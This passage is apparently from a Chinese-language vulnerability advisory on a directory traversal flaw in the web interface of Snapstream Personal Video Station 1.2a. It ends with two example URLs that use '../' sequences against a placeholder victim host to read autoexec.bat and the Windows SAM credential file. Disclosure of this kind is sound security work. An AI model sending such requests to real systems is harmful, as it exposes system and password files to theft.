Station是WINDOWS下的允许用户
在PC上录像输出和以后能通过本地或者HTTP接口查看的应用程序。
Snapstream PVS web接口运行在8129端口上。



受影响系统：
----------------------

Snapstream Personal Video Station 1.2a


不受影响的系统：
------------------------------------------------

漏洞内容：
----------------------------------------

Snapstream Personal Video Station是WINDOWS下的允许用户
在PC上录像输出和以后能通过本地或者HTTP接口查看的应用程序。
Snapstream PVS web接口运行在8129端口上。

不过Snapstream PVS web存在一个漏洞可以允许远程用户通过向
WEB端口提交'../'这样的URL可以浏览WWROOT目录以外的文件系统。


攻击实例：

http://home.victim.com:8080/../../../../autoexec.bat

http://home.victim.com:8080/../../../winnt/repair/sam